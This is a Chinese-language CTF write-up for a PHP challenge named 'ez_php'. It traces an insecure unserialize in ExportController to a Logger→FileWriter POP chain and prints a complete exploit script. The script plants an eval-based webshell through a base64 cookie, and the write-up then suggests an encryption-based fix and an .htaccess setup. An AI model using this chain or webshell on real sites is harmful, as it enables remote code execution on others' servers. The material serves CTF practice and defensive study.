ez_php
先看哪可以执行命令,utils下找到FileWriter类可以写马,但是要调用__toString魔术
1
2
3
4
5
6
7
8
9
10
|
<?php
class FileWriter {
public $path;
public $content;
public function __toString() {
file_put_contents($this->path, $this->content);
return "PDF Export Complete".$this->path;
}
}
|
controllers下ExportController有反序列化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
<?php
require_once "app/models/Report.php";
require_once "app/services/Template.php";
require_once "app/services/PDFEngine.php";
require_once "app/services/Logger.php";
require_once "app/utils/FileWriter.php";
require_once "app/utils/CacheCleaner.php";
require_once "app/utils/Debugger.php";
class ExportController {
public function handle() {
$type = $_GET['type'] ?? "json";
if ($type === "pdf") {
$cookie = $_COOKIE['session_cache'] ?? "";
if (!empty($cookie)) {
$data = base64_decode($cookie);
// $data = openssl_decrypt($cookie, "AES-128-ECB", "secretkey", OPENSSL_RAW_DATA);
if ($data !== false) {
$obj = @unserialize($data);
} else {
$obj = false;
}
if ($obj instanceof Template) {
echo $obj->render();
} else {
echo "Invalid report format";
}
} else {
echo "No session cache";
}
} elseif ($type === "json") {
$id = $_GET['id'] ?? 1;
$report = Report::find($id);
if ($report) {
echo json_encode($report->toArray());
} else {
echo json_encode(["error" => "Report not found"]);
}
} else {
echo "Unsupported export type";
}
}
}
|
然后在services下发现了 Logger 类有destruct
1
2
3
4
5
6
7
8
|
<?php
class Logger {
public $msg;
function __destruct() {
error_log("LOG: ".$this->msg);
}
}
|
这也是pop的头链,刚好error_log("LOG: ".$this->msg);会将$this->msg当作字符处理,可以触发__toString魔术,所以链子写完
1
|
ExportController->Logger->FileWriter
|
所以exp是
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
<?php
class Logger
{
public $msg;
function __destruct()
{
error_log("LOG: " . $this->msg);
}
}
class FileWriter
{
public $path;
public $content;
public function __toString()
{
file_put_contents($this->path, $this->content);
return "PDF Export Complete" . $this->path;
}
}
$a = new Logger();
$a->msg = new FileWriter();
$a->msg->path = "D:\phpStudy\PHPTutorial\WWW\shell.php"; #由于是phpstudy搭的,所以路径改一下
$a->msg->content = "<?php eval(\$_POST[1]); ?>";
echo base64_encode(serialize($a));
|
然后找是调用了ExportController,Router.php里面实例化调用了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
public function dispatch() {
$uri = $_SERVER['REQUEST_URI'] ?? '';
$queryStringPos = strpos($uri, '?');
if ($queryStringPos !== false) {
$uri = substr($uri, 0, $queryStringPos);
}
$uri = rtrim($uri, '/');#从字符串的末尾(右侧)移除指定的字符/
switch (true) {
case $uri === '/' || $uri === '':
require "app/views/home.php";
break;
case $uri === '/report' || $uri === '/report/list' || strpos($uri, '/report/') === 0:
require_once "app/controllers/ReportController.php";
$controller = new ReportController();
if (isset($_GET['id']) && !empty($_GET['id'])) {
$controller->detail();
} else {
$controller->index();
}
break;
case $uri === '/export' || strpos($uri, '/export/') === 0:
require_once "app/controllers/ExportController.php";
$controller = new ExportController();
$controller->handle();
break;
default:
http_response_code(404);
echo "404 Not Found";
break;
}
}
|
但是要满足路由是/export才调用ExportController.php,然后index.php调用了Router.php
1
2
3
4
5
6
7
8
9
|
<?php
session_start();
require_once 'app/core/Router.php';
$router = new Router();
$router->dispatch();
|
所以只需要在export路由打如下,发现shell.php写进去了

1
|
修改就是改$data = openssl_decrypt($cookie, "AES-128-ECB", "secretkey", OPENSSL_RAW_DATA);攻击者不知道密钥 (secretkey) 就无法伪造有效的序列化数据,也就无法触发漏洞。
|
点评:
此题本题搭建需要自己写一个.htaccess配置
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
Options +FollowSymLinks +Indexes
DirectoryIndex index.php
<IfModule mod_authz_core.c>
Require all granted
</IfModule>
<IfModule !mod_authz_core.c>
Order allow,deny
Allow from all
</IfModule>
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} -f [OR]
RewriteCond %{REQUEST_FILENAME} -d
RewriteRule ^ - [L]
RewriteRule ^ index.php [L]
|
为什么?因为RewriteRule ^ index.php这就告诉服务器:不管用户请求什么路径(只要不是真实存在的文件),统统把请求交给index.php 处理。所以 /export但服务器实际执行的文件是 index.php,这就到了我们的链子,这也解决了我开始为啥本地访问/export会404的问题,也解决了我疑惑–为啥访问/eport路由才能进入ExportController.php,但是我不是要访问/index.php路由才能到Router.php调用ExportController.php。
ez_blog
adlogin